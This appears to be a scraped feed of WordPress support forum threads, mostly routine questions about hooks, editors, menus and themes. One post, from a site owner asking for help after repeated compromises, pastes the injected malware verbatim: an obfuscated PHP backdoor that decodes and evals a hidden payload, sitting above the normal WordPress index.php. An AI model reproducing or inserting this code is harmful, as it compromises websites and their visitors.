Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

morpheus83 on "Different front page for mobile and desktop websites"

$
0
0

My desktop theme uses a custom static page as the front page. My mobile theme displays the latest posts. I am using Any Mobile theme switcher Pro and have even configured the mobile theme to use the default page as the home page. But still my mobile home page does not show any entries. What can I do?


mfonda on "Filter html of WordPress editor in visual mode only"

$
0
0

I have done a lot of Googling , but have not been able to figure this out yet. I have used a function in a plugin I am creating that swaps out the file url of any image inserted and replaces it with a placeholder "%HOME%" or "%SITE%"

Here is the code for that function below:

function awel4wd_editor_links($html) {

          $homeURL = get_home_url();
          $siteURL = get_site_URL();

          $newContent = str_replace($siteURL, "%SITE%", $html);
          $newContent = str_replace($siteURL, "%HOME%", $newContent);

          $html = $newContent;
          return $html;

}

This does what I want except as you can imagine, images in visual mode, no longer work and display as a broken image link.

So my goal is this: I would like to have some sort of filter that detects when visual mode is selected, grabs the content in the editor that is being used to display in visual mode and will run it through a function that will replace %SITE% and %HOME% with the full URLs so images will show up in the visual editor etc.

Then, when it switches back to text mode, it needs to do the reverse and put the %HOME% and %SITE% placeholders back in. I want the placeholdrs to be what is given to the live site though.

I have tried creating functions to do this to "the_content_editor" and "richedit_pre" but these hooks output before the content loads in general so they dont update for the visual editor and change the links completely for html and visual. I would be open to suggestions on how to do this with shortcodes (essentially by running the shortcode in the visual editor ) but so far I haven't been able to find the right hooks or actions to accomplish this.

I have also looked into creating a tiny MCE plugin which makes sense, but Im not super strong with js, and most of the examples I have seen are these monsters that do more than I need and it is difficult for me to sort through. I JUST need to determin if in visual mode, find and replace and then do the reverse. At least thats what I think.

Help is appreciated, specific code that is simple is double appreciated. Thanks!

webmandesign on "Action and filter hooks names (tags)"

$
0
0

I've recently run into an issue with the same name for action and filter hook. I'd like to ask whether it is not possible to use the same name (or "tag") for action if the name is already used with a filter. Example:

apply_filters( 'custom_name', $var, $atts );
do_action( 'custom_name', $atts );

In this case there is a PHP warning "Missing argument 2..." thrown out when some function is hooked into the custom_name filter (the function is perfectly fine with 2 parameter variables in function definition).

Thanks for the answer!

Oliver

acrane on "is_tree not working as expected"

$
0
0

Has anyone run into the problem with the is_tree function that having an else will not work? If I delete the last else statement so that it cannot take on a last variable, it works as expected.

if (is_tree(33)) {
 	$logoClass = 'logo-yellow ';
	$nav = "conway";

} elseif (is_tree(35)) {
	$logoClass = 'logo-red ';

} else { // if is something else
	$logoClass = 'logo-blue';
}

I am using both
<?php wp_reset_query(); ?>
<?php wp_reset_postdata(); ?>

before the call.... trying to make sure a query isn't interfering.

Femio on "I am getting hacked evry two weeks? Help please"

$
0
0

The example below represents the attack that occurred on my site for the umteenth time. I have no idea how it is getting in. Spoken with the service provider, it is not on their side and they suggest that one of my plugins may be to blame. I religiously update plugin and words etc. I use wordfence wangguard akismet, you name it I have tried it.

There seems to be a particular trigger when I open th eplugins option in wordpress theyn boom this code is suddenly injected into 350 plus files. My database is always intact so I get to fix it with my back ups but this is not healthy at all.

Help would be much appreciated.

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $dlncrnqcvp = '78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x7]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]]68]y34]68]y33]65]y31]53]y6d]281]25!*3!%x5c%x7827!hmg%x5cCb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825h-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81%157%x64%145%x28%141%x72%162%x61%171%x5f%155%xbubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%xtzw%x5c%x782f%x5c%x7c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7!*1?hmg%x5c%x7825)!gj!<**2-4-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67Re%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*7878pmpusut!-#j0#!%x-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x766%x61%154%x28%151%x6d%160%x6c78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:ox782fr%x5c%x7825%x5c%x782fh%x5c%x787825kj:!>!#]y3d]51]y35]256]y76]75c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5cutjyf%x5c%x7860439275ttfsqnpdov{h19275j{*t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y87f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)74-%x5c%x7824%x5c%x785c%x5c%x7825c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]2FT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c5c%x78257>%x5c%x782f7&6|7**111125)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:*~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]1<%x5c%x7825j=6[%x5c]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860LDPT7#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x784#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5x7825,3,j%x5c%x7825>j%x5c%x7825!<**3npd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x782A%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825t5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7]67y]37]88y]27]28y]#%x5c%72]58y]472]37y]672]48y]#>s%x5c%x7825<#462x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|c%x7860hfsq)!sp!*#ojneb#-*f825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x78248257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qj%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds%x7825bss%x5c%x785csboe))1%x5c%x782f35.)*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x784#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**t%x5c%x7825}K;%x5c%x78673:8297f:5297e:56-%x5c%x7878r.985:52985%x7825-*.%x5c%x7825)euhA)3of>2bd%x5A)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnb*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c3ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:*&7-#o]s]o]s]#)fepmqyf%%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%xc%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<5c%x7825)!gj!~<ofmy%x5c%5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mW~%x5c%x7825fdy)##-!#pz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%h%x5c%x7860fmjg}[;ldp]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]225)j{hnpd!opjudovg!|!**#j{h%x7825ww2!>#p#%x5c%x782f#p#%w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<27}88:}334}472%x5c%x2f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x5!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-27&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x785z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x78c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*x7825)ftpmdR6<*id%x5c%x7825ozcYufhA%x5c%x78272qj%x5c%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)32c%x787f<*X&Z&S{ftmfV%x5c%xgj6<*doj%x5c%x78257-C)fepmqnjf#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp0ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}i}Y;tuofuopd%x5c%x7860uf%x5c%x7825%x5c%x7827Y%x5c%xc%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5cc%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x7861%160%x28%42%x66%152%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)totn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x52]y3d]51]y35]274]y4:]82]y3:]62]y4%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%16*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%) { $GLOBALS["%x61%156%x75%156%x61id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>E%x5c%x7878:<##:>:h%x5c%)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBx7825s:%x5c%x785c%x5c%x7825j:.mbg!osvufs!|ftmf!~<*+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#241]334]368]322]3]364]6]283]427]36]373P6]36]73]83x5c%x7827*&7-n%x5c%x7825)utjm6<%xx782fh%x5c%x7825:<**#57]38y]47nui}&;zepc}A;~!}%x5c%x787f;!|!7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271.;%x5c%x7860UQPMSVD!-%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c83]256]y81]265]y72]254]y76]61]y335c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upc%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%xe%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#Qx5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k5l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x78f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutR|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%-#!#-%x5c%x7825tmw)%x5eN+#Qi%x5c%x785c1^W%x27-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&5%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%xset($GLOBALS["%x61%156%x75%156%x61"])))37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x55j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-wTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!is25cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]w:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x782jyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ft4%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x77825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x782x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7822f%x5c%x7825kj:-!OVMM*<(<}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%%x5c%x78256<pd%x5c%x7825x7878W~!Ypp2)%x5c%x7825zB%x5x5c%x7825%x5c%x785cSFWSqp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!**x5c%x7825)7gj6<*id%x5c%*9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcv24-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x#cd2bge56+99386c6f+9f5d816:+946:ce4*b%x5c%x7825)sf%x5c%x1%x5c%x782f14+9**-)1%x5c%x782f2986hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4ing(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%1!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x78pjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd5c%x7825tww**WYsboepn)%x5c%x7825bss-%QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI#%x5c%x782f#7e:55946-tr.984:759x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278r#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cqFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5"]=1; function fjfgg($n){return chr(ord($n)-1);} @error_report73]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257x7825:<#64y]552]e7y]#>n%x5c%x7825<#3P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%xx5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x78x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x782%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c58]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.9x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x78255c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%)!gj}Z;h!opjudovg}{;#)tut78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5/(.*)/epreg_replacemjtobpujum'; $tmkzabkrhl = explode(chr((208-164)),'7418,63,7105,39,5464,34,8848,62,8348,56,798,30,287,46,5200,21,5369,54,7748,56,1524,50,828,35,8524,56,7981,24,4157,43,4501,37,4538,61,6192,53,3699,23,5873,33,1320,37,1620,31,6975,61,6339,48,5148,52,4220,60,9286,35,10066,40,1883,33,736,62,3016,58,3469,51,4718,25,2381,41,408,48,7350,68,8741,59,4957,27,0,61,1236,53,4816,29,2517,67,6725,60,8098,23,4691,27,5646,39,8800,48,3774,48,2733,38,9445,47,4336,70,4933,24,4032,21,3372,23,4890,43,6020,21,5498,70,2624,52,9101,40,10041,25,7697,51,5715,20,8121,38,4406,45,143,24,6494,68,4280,56,333,55,3884,24,2422,36,484,55,2893,49,456,28,2321,60,8404,68,4102,27,2458,59,7036,69,6245,56,1009,40,3434,35,4646,45,1916,68,6301,38,3167,56,5094,54,8056,42,8238,21,716,20,6141,51,5276,60,2942,27,6785,39,671,45,8203,35,2147,52,8617,51,9783,51,3520,62,3722,52,3330,42,863,41,9981,60,8033,23,1406,55,4845,45,4743,47,3582,49,5221,55,1049,40,8293,55,2199,58,5735,42,6562,67,2584,40,7190,52,4790,26,608,63,7144,46,6435,59,1144,42,9321,57,3908,58,5936,30,7930,51,9492,45,6629,46,2837,56,9176,69,9056,45,1984,51,4053,49,8910,59,1461,63,9666,67,5906,30,2771,25,942,35,1651,49,1089,55,5623,23,8969,36,2796,41,1822,61,904,38,8472,52,4200,20,5966,54,9378,67,7643,54,1289,31,7242,52,9537,65,3223,64,2969,47,2257,64,6824,54,6041,67,3074,53,2088,59,8159,44,977,32,5336,33,9245,41,7804,51,6953,22,6675,50,7481,49,6878,54,8005,28,4984,41,6387,48,7294,56,2035,53,6932,21,8580,37,8699,42,9881,46,3395,39,237,50,8668,31,2676,57,3987,45,9834,47,9005,51,7530,70,3822,62,167,70,3966,21,1700,63,5824,49,61,49,5025,69,3127,40,8259,34,3631,68,9733,50,539,69,5423,41,5685,30,1574,46,5568,55,7600,43,1802,20,4129,28,7855,50,4451,50,9141,35,9927,54,388,20,5777,47,4599,47,7905,25,1357,49,9602,64,1186,50,6108,33,110,33,1763,39,3287,43'); $vwzwoixwrt=substr($dlncrnqcvp,(50598-40492),(46-39)); if (!function_exists('rjzgxasddt')) { function rjzgxasddt($tbraoiyosa, $bkhhcmytap) { $oykujodnvo = NULL; for($pbgfhfeccr=0;$pbgfhfeccr<(sizeof($tbraoiyosa)/2);$pbgfhfeccr++) { $oykujodnvo .= substr($bkhhcmytap, $tbraoiyosa[($pbgfhfeccr*2)],$tbraoiyosa[($pbgfhfeccr*2)+1]); } return $oykujodnvo; };} $zpdjhhgdxn="\x20\57\x2a\40\x73\164\x75\144\x79\150\x78\153\x6b\156\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x32\55\x32\61\x35\51\x29\54\x20\143\x68\162\x28\50\x34\64\x32\55\x33\65\x30\51\x29\54\x20\162\x6a\172\x67\170\x61\163\x64\144\x74\50\x24\164\x6d\153\x7a\141\x62\153\x72\150\x6c\54\x24\144\x6c\156\x63\162\x6e\161\x63\166\x70\51\x29\51\x3b\40\x2f\52\x20\143\x6f\142\x68\171\x77\145\x73\164\x76\40\x2a\57\x20"; $ezxmtmwjzg=substr($dlncrnqcvp,(67463-57350),(44-32)); $ezxmtmwjzg($vwzwoixwrt, $zpdjhhgdxn, NULL); $ezxmtmwjzg=$zpdjhhgdxn; $ezxmtmwjzg=(423-302); $dlncrnqcvp=$ezxmtmwjzg-1; ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

GuardianAngel on "Custom link for image?"

$
0
0

Hi!

I have begun playing with writing plugins and widgets and I have a problem...

I want to create a plugin the let's me link an image with a URL but this URL is generated using information I must fill in (ie or affiliate links and the like).

I don't know how to go about this...

essentially I want to do something that let's me do something like this

<a href="bla bla bla"><img src="test.png"></a>

"bla bla bla" is generated from information I must fill in and, hopefully, I would like to see be able the preview the image wrapped in this "link" in the visual editor...

What should I look at to be able to do something like this? I don't know what's available in WordPress programming wise to do this...

Thank you!

Nick

tazo todua on "may i use TO_PING & PINGED column?"

$
0
0

Hi.
I wanted to save some individual data to each individual to_ping and pinged fields (in database wp_posts table), and then use with my desires..

can i use that field without any danger? Will there appear problems ever (i.e. Is that column automatically cleaned or may smth danger happen? IS THERE ANY CODE/HOOK, THAT will DISABLE ANY auto MODIFICATION of that column?)

p.s. I DONT WANT TO USE POST_META, BUT INTERESTED TO USE TO_PING column.

tazo todua on "May i use to_ping column of DATABASE?"

$
0
0

Hi.
I wanted to save some individual post data to each individual to_ping field (in MYSQL database> wp_posts table)
and can i use that field without further problems? Will there appear problems ever(i.e. Is that column automatically cleaned or may smth danger happen?)


maxxd on "Custom menu walker question"

$
0
0

Hey all. I'm fairly new to WordPress (not php) and completely new to this forum, and am running into an issue. I need to add link descriptions to 1 of 5 menus on my page. I've read about extending Walker_Nav_Menu() and am attempting that, and it's kinda going well except for one slightly annoying issue - it's returning the wrong menu.

I'm attempting to isolate the action to a menu with the slug 'subbrand-menu'. All the code follows:

mytheme/functions.php

require_once('classes/FunctionClass.php');
$fn = new MyDev\FunctionClass();
add_filter('wp_get_nav_menu_items',array($fn,'buildSubbrandMenu'),10,2);

mytheme/classes/FunctionClass.php

namespace MyDev;
class FunctionClass{
        private    $_walker;
	public function buildSubbrandMenu($menu, $args){
		 if(\is_admin() || $args->slug !== 'subbrand-menu'){
			return $menu;
		 }
		if(empty($this->_walker)){
			require_once('MyWalker.php');
			$this->_walker = new MyWalker;
		}
		\wp_nav_menu(array(
			'menu'			=> 'subbrand_menu',
			'container'		=> 'div',
			'container_class'	=> 'menu-subbrand-menu-container',
			'container_id'		=> '',
			'menu_class'		=> 'menu',
			'menu_id'		=> 'menu-subbrand-menu',
			'echo'			=> true,
			'walker'		=> $this->_walker
		));
	}
}

mytheme/classes/MyWalker.php

namespace MyDev;
class MyWalker extends \Walker_Nav_Menu{
	public function end_el(&$output, $item, $depth=0, $args=array()) {
		$output .= "<span class='thisisadescr'>Testing, testing</span></li>";
	}
}

Now, the above actually works quite well except that it's outputting the contents of a menu with the slug 'floater'. Of course, the hard-coded 'descriptions' are attached to each menu item, which is good in the long run...

Anybody have any ideas what I'm missing here? I'm sure it's something simple but it's driving me crazy right now. Thanks in advance for any and all thoughts, hints, tips, and ideas.

bogdanUlea on "Hacked code inserted in all the php files from my website"

$
0
0

Hi,
I have the following problem:
All my .php pages from my website has been hacked. A suspicious code has been inserted on first line of my WordPress website. I have changed all the user access password and database passwords and users and installed a new version (the last version 3.9.1)...It is very strange. The php files from my installation have 0644 rights access on Linux. The hosting is offered by hostmonster.com.....I think is something with their security access. Did somebody had the same issue?

The inserted code is:
[removed]

belindajohnstone on "Display an Author Page on Author Dashboard"

$
0
0

I'd like an author to be able to login and see their published page and posts. (but not be able to publish more pages)

Currently even though the author has published a page it's not showing in the dashboard.

Any advice greatly appreciated.

Thanks!

dubcznic on "WP_EDITOR on Frontend in bootstrap modal doesnt work properly"

$
0
0

im stacked on one problem. in my plugin, i open a bootstrap modal and inside it i want to display the defaul WP editor, called by the function wp_editor(). What i get is the textarea with buttons and the button ADD MEDIA, like it displays in admin section. but i cant put focus on the textarea, and its giving me JS error in console when clicking the ADD MEDIA button, or trying to put focus. it acts like an input with "disabled" attribute. When i display the editor with the same code but NOT IN MODAL, its works well.

the code i use is:

$settings = array(
    'textarea_rows' => 20,
);
wp_editor('<p>Some more content</p>', 'textareasaaaaaaa', $settings);

and the HTML structure of bootstrap modal (not iframe):

<div style="display: none">
    <div id="designizer_ajax_dialog_confirm_delete" class="modal fade dialogWindowWrapper">
        <div class="modal-header">
        </div>
        <div class="modal-body">
        ...

i made a video here for better inside view: http://screencast.com/t/Lyc3ANzqu
here you can see that it works when not in modal: http://screencast.com/t/yA2CvLFTAM

Do you have an idea how to make it works? maybe some DOM problem with initialization? Thanks for any info.

// i use bootstrap modal for its multi-modal open, which allows me to have 3 modal open f.e.

ppwuq4 on "Need admin response"

$
0
0

I have an urgent private concern that I would rather not share openly. It has to do with the security regarding WordPress. Will an admin please message me in private?

rahjiggah on "add posts from custom form that is not attached to wp?"

$
0
0

Hello,

I have an application outside of wordpress and was wondering if after I process data on a form if I can add the data relevant data to a wordpress site?

ie conn to wp db and make a post on the wp-site...

Just wondering if theres a quick answer
(besides google which hasnt really worked for me)

Thank you.

Sandeep "The Shawn" Tripathy on "Any Way To Integrate Imgur with WordPress Image Upload System"

$
0
0

I was wondering if there is a way as how the default image upload system in WordPress can be integrated with Imgur hosting service. In short, if a user uploads an image via the WordPress system the image would get uploaded to Imgur instead of the WordPress "wp-content/uploads" folder.
Already something like this exists for AWS S3/Google Cloud where the uploads move into AWS instead of WP so why not use Imgur for this purpose.


H1cH4m on "Changing admin panel"

$
0
0

Hi , is there any way to change the admin panel ( wp-admin / wp-login.php ) to something else ? i have create a copy of wp-login.php and edit wp-login to zzz.php and it's work but i don't know what i should edit else because forget password still redirect me to wp-admin....

morpheus83 on "Different front page for mobile and desktop websites"

$
0
0

My desktop theme uses a custom static page as the front page. My mobile theme displays the latest posts. I am using Any Mobile theme switcher Pro and have even configured the mobile theme to use the default page as the home page. But still my mobile home page does not show any entries. What can I do?

tazo todua on "may i use TO_PING & PINGED column?"

$
0
0

Hi.
I wanted to save some individual data to each individual to_ping and pinged fields (in database wp_posts table), and then use with my desires..

